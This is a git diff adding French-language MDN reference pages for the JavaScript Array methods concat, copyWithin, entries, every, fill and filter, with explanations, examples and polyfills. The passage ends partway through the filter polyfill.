diff --git a/files/fr/web/javascript/reference/global_objects/array/concat/index.html b/files/fr/web/javascript/reference/global_objects/array/concat/index.html new file mode 100644 index 0000000000..bd788c4e7c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/concat/index.html @@ -0,0 +1,160 @@ +--- +title: Array.prototype.concat() +slug: Web/JavaScript/Reference/Objets_globaux/Array/concat +tags: + - Array + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/Array/concat +--- +
{{JSRef}}
+ +

La méthode concat() est utilisée afin de fusionner un ou plusieurs tableaux en les concaténant. Cette méthode ne modifie pas les tableaux existants, elle renvoie un nouveau tableau qui est le résultat de l'opération.

+ +
{{EmbedInteractiveExample("pages/js/array-concat.html")}}
+ + + +

Syntaxe

+ +
let nouveau_tableau = ancien_tableau.concat(valeur1[, valeur2[, ...[, valeurN]]])
+ +

Paramètres

+ +
+
valeurN{{optional_inline}}
+
Des tableaux et/ou des valeurs à concaténer dans le nouveau tableau. Si tous les arguments valeurN valent undefined, concat renverra une copie superficielle du tableau sur lequel elle est appelée. Voir ci-après pour plus de détails.
+
+ +

Valeur de retour

+ +

Une nouvelle instance de {{jsxref("Array")}}.

+ +

Description

+ +

La méthode concat permet de créer un nouveau tableau constitué des éléments de l'objet this sur lequel elle a été appelée, suivis dans l'ordre par, pour chaque paramètre, les éléments de ce paramètre (s'il s'agit d'un tableau) ou le paramètre lui-même (s'il ne s'agit pas d'un tableau). La concaténation ne « déplie » pas les tableaux imbriqués.

+ +

La méthode concat ne modifie pas this ni aucun des tableaux passés en paramètres, mais renvoie une copie qui contient des copies des mêmes éléments combinées que ceux des tableaux originaux. Les éléments des tableaux originaux sont copiés dans le nouveau tableau comme suit :

+ +
    +
  • Pour les références à des objets (et non les objets eux-mêmes) : concat copie ces références dans le nouveaux tableau. Le tableau original et le nouveau tableau feront référence au même objet. C'est-à-dire que si un objet référencé est modifié, ces changements seront visibles tant dans le nouveau que dans les tableaux originaux.
    • +
+ +
    +
  • Pour les chaînes, les booléens et les nombres « primitifs » (c'est-à-dire pas les objets {{jsxref("String", "String")}}, {{jsxref("Boolean")}} et {{jsxref("Number", "Number")}}) : concat copie les valeurs des chaînes et des nombres dans le nouveau tableau. (voir Les types de données en JavaScript).
    • +
+ +
+

Note : La concaténation n'impactera pas les tableaux originaux. Par la suite, toute opération sur le nouveau tableau n'aura aucun effet sur les tableaux d'origine, et vice versa.

+
+ +

Exemples

+ +

Concaténer deux tableaux

+ +

Le code qui suit concatène deux tableaux :

+ +
let alpha = ["a", "b", "c"];
+let numerique = [1, 2, 3];
+
+alpha.concat(numerique);
+// donne : ["a", "b", "c", 1, 2, 3]
+
+ +

Concaténer trois tableaux

+ +

Le code qui suit concatène trois tableaux :

+ +
let num1 = [1, 2, 3];
+let num2 = [4, 5, 6];
+let num3 = [7, 8, 9];
+
+let nums = num1.concat(num2, num3);
+
+console.log(nums);
+// [1, 2, 3, 4, 5, 6, 7, 8, 9]
+
+ +

Concaténer des valeurs avec un tableau

+ +

Le code qui suit ajoute trois valeurs à un tableau :

+ +
let alpha = ['a', 'b', 'c'];
+
+let alphanumerique = alpha.concat(1, [2, 3]);
+
+console.log(alphanumerique);
+// ['a', 'b', 'c', 1, 2, 3]
+
+ +

Concaténer des tableaux imbriqués

+ +

Dans le code qui suit, on concatène deux tableaux qui ont plusieurs dimensions et on illustre la conservation des références :

+ +
let num1 = [[1]];
+let num2 = [2, [3]];
+
+let nums = num1.concat(num2);
+
+console.log(nums);
+// affichera [[1], 2, [3]]
+
+// Ici, on modifie le premier élément de num1
+num1[0].push(4);
+
+console.log(nums);
+// affichera [[1, 4], 2, [3]]
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.4.4.4', 'Array.prototype.concat')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-array.prototype.concat', 'Array.prototype.concat')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-array.prototype.concat', 'Array.prototype.concat')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.concat")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.push", "push")}} / {{jsxref("Array.pop", "pop")}} qui permettent d'ajouter/retirer des éléments à partir de la fin du tableau
    • +
  • {{jsxref("Array.unshift", "unshift")}} / {{jsxref("Array.shift", "shift")}} qui permettent d'ajouter/retirer des éléments à partir du début du tableau
    • +
  • {{jsxref("Array.splice", "splice")}} qui permet d'ajouter/retirer des éléments à un endroit donné du tableau
    • +
  • {{jsxref("String.prototype.concat()")}}
    • +
  • {{jsxref("Symbol.isConcatSpreadable")}} (permet de contrôler la façon dont un tableau est ramené à une valeur)
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/copywithin/index.html b/files/fr/web/javascript/reference/global_objects/array/copywithin/index.html new file mode 100644 index 0000000000..32ffdd57e3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/copywithin/index.html @@ -0,0 +1,199 @@ +--- +title: Array.prototype.copyWithin() +slug: Web/JavaScript/Reference/Objets_globaux/Array/copyWithin +tags: + - Array + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/copyWithin +--- +
{{JSRef}}
+ +

La méthode copyWithin() effectue une copie superficielle (shallow copy) d'une partie d'un tableau sur ce même tableau et le renvoie, sans modifier sa taille.

+ +
{{EmbedInteractiveExample("pages/js/array-copywithin.html")}}
+ + + +

Syntaxe

+ +
arr.copyWithin(cible)
+arr.copyWithin(cible, début)
+arr.copyWithin(cible, début, fin)
+
+ +

Paramètres

+ +
+
cible
+
+

Indice à partir duquel la séquence sera copiée. Si la valeur est négative, cible sera compté à partir de la fin du tableau.

+ +

Si cible est supérieur ou égal à arr.length, rien ne sera copié. Si cible est positionné apès début, la séquence copiée sera réduite pour correspondre à arr.length.

+
+
début {{optional_inline}}
+
Indice de début de la séquence a copier. Si la valeur est négative, début sera compté à partir de la fin du tableau.
+
Si début est omis, copyWithin copiera à partir du début du tableau (par défaut 0).
+
fin {{optional_inline}}
+
Indice de fin de la séquence a copier. copyWithin copie jusqu'à fin (non-inclusif). Si la valeur est négative, end sera compté à partir de la fin du tableau.
+
Si end est omis, copyWithin copiera jusqu'à la fin du tableau (par défaut arr.length).
+
+ +

Valeur de retour

+ +

Le tableau modifié par la méthode.

+ +

Description

+ +

La fonction copyWithin() fonctionne de la même façon que memmove en C/C++. C'est une méthode très performante pour décaler les données d'un {{jsxref("Array")}} ou d'un {{jsxref("TypedArray")}} (dans ce cas, on pourra utiliser {{jsxref("TypedArray/copyWithin", "TypedArray.copyWithin()")}}). La séquence est copiée et collée en une opération. La séquence collée aura les valeurs copiées même si les zones de copiage et de collage se chevauchent.

+ +

La fonction copyWithin() est intentionnellement générique, il n'est pas nécessaire que this soit un objet {{jsxref("Array", "Array")}}.

+ +

De plus, copyWithin() est une méthode qui modifie l'objet courant. Elle ne modifie pas la longueur de this, mais change son contenu et créé de nouvelles propriétés si nécessaire.

+ +

Exemples

+ +
[1, 2, 3, 4, 5].copyWithin(-2);
+// [1, 2, 3, 1, 2]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3);
+// [4, 5, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(0, 3, 4);
+// [4, 2, 3, 4, 5]
+
+[1, 2, 3, 4, 5].copyWithin(-2, -3, -1);
+// [1, 2, 3, 3, 4]
+
+[].copyWithin.call({length: 5, 3: 1}, 0, 3);
+// {0: 1, 3: 1, length: 5}
+
+// Les tableaux typés ES2015 sont des sous-classes d'Array
+var i32a = new Int32Array([1, 2, 3, 4, 5]);
+
+i32a.copyWithin(0, 2);
+// Int32Array [3, 4, 5, 4, 5]
+
+// Sur les plates-formes qui ne supportent pas encore ES2015 :
+[].copyWithin.call(new Int32Array([1, 2, 3, 4, 5]), 0, 3, 4);
+// Int32Array [4, 2, 3, 4, 5]
+
+ +

Prothèse d'émulation (polyfill)

+ +

Cette méthode a été ajoutée à la spécification ECMAScript 6 et peut ne pas être utilisable dans tous les environnements. Voici un fragment de code qui permet d'émuler cette méthode :

+ +
if (!Array.prototype.copyWithin) {
+  Object.defineProperty(Array.prototype, 'copyWithin', {
+    value: function(target, start/*, end*/) {
+    // Steps 1-2.
+    if (this == null) {
+      throw new TypeError('this is null or not defined');
+    }
+
+    var O = Object(this);
+
+    // Steps 3-5.
+    var len = O.length >>> 0;
+
+    // Steps 6-8.
+    var relativeTarget = target >> 0;
+
+    var to = relativeTarget < 0 ?
+      Math.max(len + relativeTarget, 0) :
+      Math.min(relativeTarget, len);
+
+    // Steps 9-11.
+    var relativeStart = start >> 0;
+
+    var from = relativeStart < 0 ?
+      Math.max(len + relativeStart, 0) :
+      Math.min(relativeStart, len);
+
+    // Steps 12-14.
+    var end = arguments[2];
+    var relativeEnd = end === undefined ? len : end >> 0;
+
+    var final = relativeEnd < 0 ?
+      Math.max(len + relativeEnd, 0) :
+      Math.min(relativeEnd, len);
+
+    // Step 15.
+    var count = Math.min(final - from, len - to);
+
+    // Steps 16-17.
+    var direction = 1;
+
+    if (from < to && to < (from + count)) {
+      direction = -1;
+      from += count - 1;
+      to += count - 1;
+    }
+
+    // Step 18.
+    while (count > 0) {
+      if (from in O) {
+        O[to] = O[from];
+      } else {
+        delete O[to];
+      }
+
+      from += direction;
+      to += direction;
+      count--;
+    }
+
+    // Step 19.
+    return O;
+  },
+  configurable: true,
+  writable: true
+  });
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ES2016', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}{{Spec2('ES2016')}} 
{{SpecName('ESDraft', '#sec-array.prototype.copywithin', 'Array.prototype.copyWithin')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.copyWithin")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array", "Array")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/entries/index.html b/files/fr/web/javascript/reference/global_objects/array/entries/index.html new file mode 100644 index 0000000000..127cec9f99 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/entries/index.html @@ -0,0 +1,97 @@ +--- +title: Array.prototype.entries() +slug: Web/JavaScript/Reference/Objets_globaux/Array/entries +tags: + - Array + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Array/entries +--- +
{{JSRef}}
+ +

La méthode entries() renvoie un nouvel objet de type  Array Iterator qui contient le couple clef/valeur pour chaque éléments du tableau.

+ +
{{EmbedInteractiveExample("pages/js/array-entries.html")}}
+ + + +

Syntaxe

+ +
arr.entries()
+ +

Valeur de retour

+ +

Un nouvel objet qui est un itérateur pour {{jsxref("Array")}}.

+ +

Exemples

+ +

Parcourir un tableau avec ses index et éléments

+ +
const arr = ["a", "b", "c"];
+for (const [index, element] of arr.entries()) {
+  console.log(index, element);
+}
+// 0 "a"
+// 1 "b"
+// 2 "c"
+
+ +

Boucle for...of

+ +

On peut avoir le même résultat en utilisant une boucle for...of :

+ +
var arr = ['a', 'b', 'c'];
+var eArr = arr.entries();
+
+for (let e of eArr) {
+  console.log(e);
+}
+// [0, 'a']
+// [1, 'b']
+// [2, 'c']
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.entries', 'Array.prototype.entries')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.entries', 'Array.prototype.entries')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.entries")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.keys()")}}
    • +
  • {{jsxref("Array.prototype.values()")}}
    • +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • {{jsxref("Array.prototype.every()")}}
    • +
  • {{jsxref("Array.prototype.some()")}}
    • +
  • for...of
    • +
  • Les protocoles d'itération
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/every/index.html b/files/fr/web/javascript/reference/global_objects/array/every/index.html new file mode 100644 index 0000000000..2c3e71dca6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/every/index.html @@ -0,0 +1,201 @@ +--- +title: Array.prototype.every() +slug: Web/JavaScript/Reference/Objets_globaux/Array/every +tags: + - Array + - ECMAScript 5 + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/every +--- +
{{JSRef}}
+ +

La méthode every() permet de tester si tous les éléments d'un tableau vérifient une condition donnée par une fonction en argument. Cette méthode renvoie un booléen pour le résultat du test.

+ +
+

Note : Cette méthode renvoie true pour n'importe quelle condition utilisée sur un tableau vide.

+
+ +
{{EmbedInteractiveExample("pages/js/array-every.html")}}
+ + + +

Syntaxe

+ +
arr.every(callback[, thisArg])
+ +

Paramètres

+ +
+
callback
+
La fonction sur laquelle on souhaite tester chaque élément du tableau. Elle prend en compte trois arguments : +
+
currentValue
+
La valeur de l'élément à traiter.
+
index{{Optional_inline}}
+
L'indice de l'élément du tableau à tester.
+
array{{Optional_inline}}
+
Le tableau sur lequel on a appelé la méthode every.
+
+
+
thisArg{{Optional_inline}}
+
Paramètre optionnel. La valeur à utiliser pour this lors de l'exécution de la fonction.
+
+ +

Valeur de retour

+ +

true si la fonction de rappel obtient une valeur équivalente à vrai (truthy) pour chaque élément du tableau et false sinon.

+ +

Description

+ +

La méthode every exécute la fonction callback fournie sur chacun des éléments contenus dans le tableau jusqu'à ce qu'un élément pour lequel la fonction callback renvoie une valeur fausse (falsy value) soit trouvé. Si un tel élément est trouvé, la méthode every renvoie directement false. Sinon, si la fonction callback a renvoyé une valeur vraie pour tous les éléments, la méthode every renverra true. La fonction callback n'est appelée que pour les indices du tableau pour lesquels il existe des valeurs affectées. Elle n'est pas appelée pour les indices supprimés ou ceux qui n'ont jamais reçu de valeur.

+ +

callback est appelée avec trois arguments : la valeur de l'élément en cours de traitement, l'indice de l'élément dans le tableau et le tableau qui est parcouru.

+ +

Si un paramètre thisArg est fourni à la méthode every, ce sera la valeur this de la fonction callback. Si ce paramètre n'est pas fourni, la valeur undefined sera utilisée comme valeur pour this. La valeur this « définitivement » utilisée par la fonction callback est déterminée selon les règles usuelles de détermination de this.

+ +

every ne modifie pas le tableau sur lequel elle a été appelée.

+ +

Les éléments traités par la méthode every sont définis lors du premier appel à callback. Les éléments ajoutés au tableau après que l'appel à every ait commencé ne seront pas traités par la fonction callback. Si des éléments du tableau sont modifiés, la valeur passée à la fonction callback sera celle qu'ils ont au moment où every les traitera. Les éléments qui sont supprimés ne sont pas traités par la fonction every.

+ +

every agit de la même façon que le quantificateur mathématiques « pour tous », notamment pour le cas au limite d'un tableau vide pour lequel elle renvoie true (on dit qu'il est trivialement vrai que tous les éléments d'un ensemble vide respectent n'importe quelle condition).

+ +

Exemples

+ +

Tester la valeur des éléments d'un tableau

+ +

Dans l'exemple suivant, on teste si tous les éléments du tableau sont supérieurs à 10.

+ +
function estAssezGrand(element, index, array) {
+  return element >= 10;
+}
+[12, 5, 8, 130, 44].every(estAssezGrand);   // false
+[12, 54, 18, 130, 44].every(estAssezGrand); // true
+
+ +

Utiliser les fonctions fléchées avec every

+ +

{{jsxref("Fonctions/Fonctions_fl%C3%A9ch%C3%A9es","Les fonctions fléchées","","1")}} permettent d'utiliser une syntaxe plus concise pour effectuer le même test.

+ +
[12, 5, 8, 130, 44].every(elem => elem >= 10); // false
+[12, 54, 18, 130, 44].every(elem => elem >= 10); // true
+[{a:1, b:2}, {a:1, b:3}].every(elem => elem.a === 1); // true
+[{a:2, b:2}, {a:1, b:3}].every(elem => elem.a === 1); // false
+
+ +

Prothèse d'émulation (polyfill)

+ +

every fut ajouté avec la cinquième édition du standard ECMA-262. Pour cette raison, il n'est pas nécessairement présent dans les différentes implémentations de ce standard. Afin de faire fonctionner du code dans un environnement qui ne possède pas cette fonctionnalité, on pourra utiliser le fragment de code suivant au début des scripts. Cet algorithme correspond exactement à celui défini dans la cinquième édition du standard ECMA-262. On prend l'hypothèse que Object et TypeError ont leurs valeurs originales (n'ont pas été modifiés) et que callbackfn.call correspond bien à la valeur originale de {{jsxref("Function.prototype.call")}}

+ +
if (!Array.prototype.every) {
+  Array.prototype.every = function(callbackfn, thisArg) {
+    'use strict';
+    var T, k;
+
+    if (this == null) {
+      throw new TypeError('this vaut null ou n est pas défini');
+    }
+
+    // 1. Soit O le résultat de l'appel à ToObject auquel on a
+    // passé this comme argument
+    var O = Object(this);
+
+    // 2. Soit lenValue le résultat de l'appel de la méthode interne
+    //   Get sur O avec l'argument "length".
+    // 3. Soit len le résultat de ToUint32(lenValue).
+    var len = O.length >>> 0;
+
+    // 4. Si IsCallable(callbackfn) est faux, on lève une exception
+    // TypeError.
+    if (typeof callbackfn !== 'function') {
+      throw new TypeError();
+    }
+
+    // 5. Si thisArg a été fourni : soit T cette valeur thisArg, undefined sinon.
+    if (arguments.length > 1) {
+      T = thisArg;
+    }
+
+    // 6. Soit k égal à 0.
+    k = 0;
+
+    // 7. On répète tant que k < len
+    while (k < len) {
+
+      var kValue;
+
+      // a. Soit Pk la valeur de ToString(k).
+      //   (ce qui est implicite pour les opérandes gauche de in)
+      // b. Soit kPresent le résultat de l'appel de la méthode
+      //    interne de O avec l'argument Pk.
+      //    Cette étape peut être combinée avec l'étape c
+      // c. Si kPresent vaut true, alors
+      if (k in O) {
+
+        // i. Soit kValue le résultat de l'appel de la méthode
+        //    interne Get de O avec l'argument Pk.
+        kValue = O[k];
+
+        // ii. Soit testResult le résultat de l'appel de la méthode
+        //     interne Call de callbackfn avec T comme valeur this et
+        //     la liste d'argument contenant kValue, k, et O.
+        var testResult = callbackfn.call(T, kValue, k, O);
+
+        // iii. Si ToBoolean(testResult) vaut false, on renvoie false.
+        if (!testResult) {
+          return false;
+        }
+      }
+      k++;
+    }
+    return true;
+  };
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.4.4.16', 'Array.prototype.every')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.6.
{{SpecName('ES6', '#sec-array.prototype.every', 'Array.prototype.every')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-array.prototype.every', 'Array.prototype.every')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.every")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • {{jsxref("Array.prototype.some()")}}
    • +
  • {{jsxref("Array.prototype.find()")}}
    • +
  • {{jsxref("TypedArray.prototype.every()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/fill/index.html b/files/fr/web/javascript/reference/global_objects/array/fill/index.html new file mode 100644 index 0000000000..9c5d0c1e6f --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/fill/index.html @@ -0,0 +1,155 @@ +--- +title: Array.prototype.fill() +slug: Web/JavaScript/Reference/Objets_globaux/Array/fill +tags: + - Array + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/fill +--- +
{{JSRef}}
+ +

La méthode fill() remplit tous les éléments d'un tableau entre deux index avec une valeur statique. La valeur de l'index de fin n'est pas incluse. Cette méthode renvoie le tableau modifié.

+ +
{{EmbedInteractiveExample("pages/js/array-fill.html")}}
+ + + +

Syntaxe

+ +
arr.fill(valeur)
+arr.fill(valeur, début)
+arr.fill(valeur, début, fin)
+
+ +

Paramètres

+ +
+
valeur
+
Valeur avec laquelle remplir le tableau.
+
début {{optional_inline}}
+
Index de début, la valeur par défaut est 0.
+
fin {{optional_inline}}
+
Index de fin, la valeur par défaut est this.length.
+
+ +

Valeur de retour

+ +

Le tableau modifié par la méthode.

+ +

Description

+ +

Les éléments pour lesquels on utilisera la valeur sont ceux contenus dans l'intervalle de positions [début, fin].

+ +

La méthode fill() prend jusqu'à trois arguments : valeur, début et fin. Les arguments début et fin sont optionnels. Leurs valeurs par défaut sont respectivement 0 et la taille length de l'objet this.

+ +

Si début est négatif, il sera traité comme length+début où length est la taille du tableau. Si fin est négatif, il est traité comme length+fin.

+ +

La fonction fill() est intentionnellement générique, il n'est pas nécessaire que sa valeur this soit un objet Array.

+ +

La méthode fill() est une méthode de modification, elle changera l'objet this lui-même, et renverra l'objet modifié. Elle ne crée pas de copie. Lorsque cette méthode reçoit un objet comme valeur, elle copiera l'objet passé et remplira le tableau avec une référence vers cette copie.

+ +

Exemples

+ +
[1, 2, 3].fill(4);            // [4, 4, 4]
+[1, 2, 3].fill(4, 1);         // [1, 4, 4]
+[1, 2, 3].fill(4, 1, 2);      // [1, 4, 3]
+[1, 2, 3].fill(4, 1, 1);      // [1, 2, 3]
+[1, 2, 3].fill(4, -3, -2);    // [4, 2, 3]
+[1, 2, 3].fill(4, 3, 3);      // [1, 2, 3]
+[1, 2, 3].fill(4, NaN, NaN);  // [1, 2, 3]
+Array(3).fill(4);             // [4, 4, 4]
+[].fill.call({length: 3}, 4); // {0: 4, 1: 4, 2: 4, length: 3}
+
+// Les objets sont copiés via une référence
+var arr = Array(3).fill({}); // [{}, {}, {}];
+arr[0].yop = "yop"; // [{yop: "yop"}, {yop: "yop"}, {yop: "yop"}]
+
+ +

Prothèse d'émulation (polyfill)

+ +
if (!Array.prototype.fill) {
+  Object.defineProperty(Array.prototype, 'fill', {
+    value: function(value) {
+
+      // Steps 1-2.
+      if (this == null) {
+        throw new TypeError('this is null or not defined');
+      }
+
+      var O = Object(this);
+
+      // Steps 3-5.
+      var len = O.length >>> 0;
+
+      // Steps 6-7.
+      var start = arguments[1];
+      var relativeStart = start >> 0;
+
+      // Step 8.
+      var k = relativeStart < 0 ?
+        Math.max(len + relativeStart, 0) :
+        Math.min(relativeStart, len);
+
+      // Steps 9-10.
+      var end = arguments[2];
+      var relativeEnd = end === undefined ?
+        len : end >> 0;
+
+      // Step 11.
+      var final = relativeEnd < 0 ?
+        Math.max(len + relativeEnd, 0) :
+        Math.min(relativeEnd, len);
+
+      // Step 12.
+      while (k < final) {
+        O[k] = value;
+        k++;
+      }
+
+      // Step 13.
+      return O;
+    }
+  });
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-array.prototype.fill', 'Array.prototype.fill')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-array.prototype.fill', 'Array.prototype.fill')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.Array.fill")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Array")}}
    • +
  • {{jsxref("TypedArray.prototype.fill()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/array/filter/index.html b/files/fr/web/javascript/reference/global_objects/array/filter/index.html new file mode 100644 index 0000000000..fdd8fa023a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/array/filter/index.html @@ -0,0 +1,228 @@ +--- +title: Array.prototype.filter() +slug: Web/JavaScript/Reference/Objets_globaux/Array/filter +tags: + - Array + - ECMAScript 5 + - JavaScript + - Méthode + - Prototype + - Reference + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/Array/filter +--- +
{{JSRef}}
+ +

La méthode filter() crée et retourne un nouveau tableau contenant tous les éléments du tableau d'origine qui remplissent une condition déterminée par la fonction callback.

+ +
{{EmbedInteractiveExample("pages/js/array-filter.html")}}
+ + + +

Syntaxe

+ +
arr.filter(callback); // callback(elementCourant[, index[, tableauEntier]])
+var nouveauTableau = arr.filter(callback, thisArg);
+
+ +

Paramètres

+ +
+
callback
+
La fonction de test (ou prédicat) à appliquer à chaque élément du tableau. Cette fonction est appelée avec les arguments suivants : +
+
elementCourant
+
L'élément à traiter
+
index
+
Son indice.
+
array
+
Le tableau complet
+
+ Cette fonction renvoie true — ou une valeur équivalente — si l'élément doit être conservé pour le tableau résultat et false dans le cas contraire.
+
thisArg {{optional_inline}}
+
Objet à utiliser en tant que this quand la fonction callback est exécutée.
+
+ +

Valeur de retour

+ +

Un nouveau tableau contenant les éléments qui respectent la condition du filtre. Si aucun élément ne respecte la condition, c'est un tableau vide qui est renvoyé.

+ +

Description

+ +

filter() appelle la fonction callback fournie pour chacun des éléments d'un tableau, et construit un nouveau tableau contenant tous les éléments pour lesquels l'appel de callback retourne true ou une valeur équivalente à true dans un contexte booléen. La fonction callback n'est utilisée que pour les éléments du tableau ayant une valeur assignée — les index supprimés ou pour lesquels il n'y a jamais eu de valeur ne sont pas pris en compte. Les éléments du tableau qui ne passent pas le test effectué par la fonction callback sont ignorés, ils ne sont pas inclus dans le nouveau tableau.

+ +

La fonction callback est appelée avec trois arguments :

+ +
    +
  1. la valeur de l'élément courant,
    2. +
  2. l'index de l'élément courant,
    3. +
  3. l'objet Array parcouru.
    4. +
+ +

Si le paramètre thisArg est fourni, il sera utilisé comme valeur this lors de l'appel de la fonction callback. S'il n'est pas fourni, la valeur undefined sera utilisée à la place. La valeur de this qui est finalement utilisée par la fonction callback est déterminée selon les règles usuelles pour déterminer la valeur this au sein d'une fonction.

+ +

Noter que filter() ne modifie pas le tableau d'origine.

+ +

La liste des éléments parcourus par filter() est définie avant la première invocation de la fonction callback. Les éléments qui sont ajoutés à la liste après le début de l'appel de filter() (grâce à la fonction callback par exemple) ne seront pas concernés par le filtre. Si des éléments de la liste sont modifiés ou supprimés au cours du traitement, la valeur fournie à la fonction callback sera la valeur de ces éléments au moment où filter() les traite — les éléments supprimés ne seront pas traités par la fonction.

+ +

Exemples

+ +

Filtrer les petites valeurs

+ +

L'exemple suivant utilise filter pour créer une nouvelle liste où tous les éléments dont la valeur est inférieure à 10 ont été retirés.

+ +
function suffisammentGrand(element) {
+  return element >= 10;
+}
+var filtre = [12, 5, 8, 130, 44].filter(suffisammentGrand);
+// filtre vaut [12, 130, 44]
+
+ +

Filtrer des éléments JSON invalides et les trier en fonction d'un identifiant avec filter()

+ +

Dans l'exemple qui suit, on utilise filter() pour créer un objet JSON qui contient des éléments dont l'id est un entier.

+ +
var arr = [
+  { id: 15 },
+  { id: -1 },
+  { id: 0 },
+  { id: 3 },
+  { id: 12.2 },
+  { },
+  { id: null },
+  { id: NaN },
+  { id: 'undefined' }
+];
+
+var elementsInvalides = 0;
+
+function filtrerParID(obj) {
+  // Si c'est un nombre
+  if (obj.id !== undefined && typeof(obj.id) === 'number' && !isNaN(obj.id)) {
+    return true;
+  } else {
+    elementsInvalides++;
+    return false;
+  }
+}
+
+var arrByID = arr.filter(filtrerParID);
+
+console.log('Tableau filtré\n', arrByID);
+// Le tableau filtré est :
+// [{ id: 15 }, { id: -1 }, { id: 0 }, { id: 3 }, { id: 12.2 }]
+
+console.log('Nombre d\'éléments invalides = ', elementsInvalides);
+// Nombre d'éléments invalides 4
+ +

Recherche dans un tableau

+ +

Dans l'exemple qui suit, on utilise filter() pour filtrer le contenu d'un tableau selon un critère donné.

+ +
var fruits = ['pomme', 'banane', 'raisin', 'mangue'];
+
+function filtreTexte(arr, requete) {
+  return arr.filter(function (el) {
+    return el.toLowerCase().indexOf(requete.toLowerCase()) !== -1;
+  })
+}
+
+console.log(filtreTexte(fruits, 'an')); // ['banane', 'mangue'];
+console.log(filtreTexte(fruits, 'm')); // ['pomme', 'mangue'];
+
+ +

Implémentation avec la syntaxe ECMAScript 2015 (ES6)

+ +

L'exemple suivant utilise les fonctions fléchées, et le mot clé const disponible en ES6.

+ +
const fruits = ['pomme', 'banane', 'raisin', 'mangue'];
+
+const filtreTexte = (arr, requete) => {
+  return arr.filter(el =>  el.toLowerCase().indexOf(requete.toLowerCase()) !== -1);
+}
+
+console.log(filtreTexte(fruits, 'an')); // ['banane', 'mangue'];
+console.log(filtreTexte(fruits, 'm')); // ['pomme', 'mangue'];
+ +

Prothèse d'émulation (polyfill)

+ +

Array.prototype.filter() a été ajoutée avec la cinquième édition du standard ECMA-262 — ainsi elle pourrait ne pas être présente dans toutes les implémentations du standard. Ce problème peut être contourné en ajoutant le code suivant au début des scripts et permettra d'utiliser filter au sein d'implémentations qui n'en bénéficient pas nativement. Cet algorithme est strictement celui spécifié par la cinquième édition d'ECMA-262, en considérant que callbackfn.call est évaluée avec la valeur d'origine de {{jsxref("Function.prototype.call")}} et que {{jsxref("Array.prototype.push")}} a sa valeur d'origine.

+ +
if (!Array.prototype.filter){
+  Array.prototype.filter = function(func, thisArg) {
+    'use strict';
+    if ( ! ((typeof func === 'Function' || typeof func === 'function') && this) )
+        throw new TypeError();
+
+    var len = this.length >>> 0,
+        res = new Array(len), // preallocate array
+        t = this, c = 0, i = -1;
+    if (thisArg === undefined){
+      while (++i !== len){
+        // checks to see if the key was set
+        if (i in this){
+          if (func(t[i], i, t)){
+            res[c++] = t[i];
+          }
+        }
+      }
+    }
+    else{
+      while (++i !== len){
+        // checks to see if the key was set
